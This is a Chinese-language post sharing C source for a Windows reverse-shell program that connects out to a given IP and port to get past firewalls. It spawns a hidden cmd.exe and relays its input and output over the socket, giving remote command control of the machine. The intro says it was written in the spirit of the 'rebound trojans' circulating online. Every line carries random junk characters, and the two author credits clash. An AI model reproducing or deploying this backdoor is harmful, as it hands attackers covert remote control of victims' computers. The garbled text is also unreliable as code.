这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ra}t#Xt`
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/* ============================== =i:,")W7=
Rebound port in Windows NT {+jO/ZQu5
By wind,2006/7 Q3rLCg,;
===============================*/ @j'GcN vs
#include 6!Uk c'r
#include ()(^B}VK
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#pragma comment(lib,"wsock32.lib") CS\8ej}y
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void OutputShell(); {-1N@*K
SOCKET sClient; 'H-hp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YYF.0G}
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void main(int argc,char **argv) K96N{"{iI%
{ _3zJ.%
WSADATA stWsaData; Iwe
int nRet; i0'g$
SOCKADDR_IN stSaiClient,stSaiServer; F!zGk(Pu
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if(argc != 3) Z. ,pcnaQb
{ !dOpLUh l
printf("Useage:\n\rRebound DestIP DestPort\n"); ,jdTe?[*^
return; c]A @'{7
} zvR;Tl6]
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~mC>G 4y$a
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z
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stSaiClient.sin_family = AF_INET; cf%aOHYI*
stSaiClient.sin_port = htons(0); FXh*!%"*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SS!b`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d"OYq
{ 3hfv^H
printf("Bind Socket Failed!\n"); Qb8Z+7
return; o ]@'R<F(u
} ?G 'sb}.
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stSaiServer.sin_family = AF_INET; ?^WX]SAl
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wo9`-o6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S~U5xM^s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -%TwtO<$']
{ -q&7q
printf("Connect Error!"); X/FR e[R
return; V(;c#%I2
} ;E0x#JUrw
OutputShell(); :
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} : eFyd`Syw
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void OutputShell() /Nns3oE
{ %e+{wU}w?2
char szBuff[1024]; &(h@]F!
SECURITY_ATTRIBUTES stSecurityAttributes; L~*nI d
OSVERSIONINFO stOsversionInfo; T@mYHKu
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NL &![;
STARTUPINFO stStartupInfo; %lGT|XrY
char *szShell; OmZK~$K_
PROCESS_INFORMATION stProcessInformation; T'a&
unsigned long lBytesRead; `a5,5}7v%`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jJAr #|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >=/DCQ$
stSecurityAttributes.lpSecurityDescriptor = 0; 0Ok[`r`
stSecurityAttributes.bInheritHandle = TRUE; Sobp;OZ5
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \qJ cs'D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r=# v@]zB
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @ 1FWBH~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jQ['f\R
stStartupInfo.wShowWindow = SW_HIDE; [nLd> 2P
stStartupInfo.hStdInput = hReadPipe; oxLO[js
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x LGMN)@r
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GetVersionEx(&stOsversionInfo); %'eaW
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switch(stOsversionInfo.dwPlatformId) Tsocc5gWZ*
{ M$e$%kPShE
case 1: AmK g;9LS
szShell = "command.com"; #J~xKyJi'
break; H[N~)3x
default: cFHSMRB|P
szShell = "cmd.exe"; vj"['6Xa
break; cd] X5)$h
} dTqL[?wH?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W?0u_F
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send(sClient,szMsg,77,0); -Fc 9mv(H
while(1) kfq<M7y
{ o3HS|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); syk,e4:oA
if(lBytesRead) JqtOoR
{ 4F+G;'JV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~R7{gCqdr
send(sClient,szBuff,lBytesRead,0); $E^*^({
} FYH^axpp
else Ni#y=cb
{ v1$}JX
lBytesRead=recv(sClient,szBuff,1024,0); :<uCi\9(
if(lBytesRead<=0) break; d.k'\1o
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j6Au<P
} /UtSZ(
} ]0g1P-&,U
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return; w[J.?v&^
}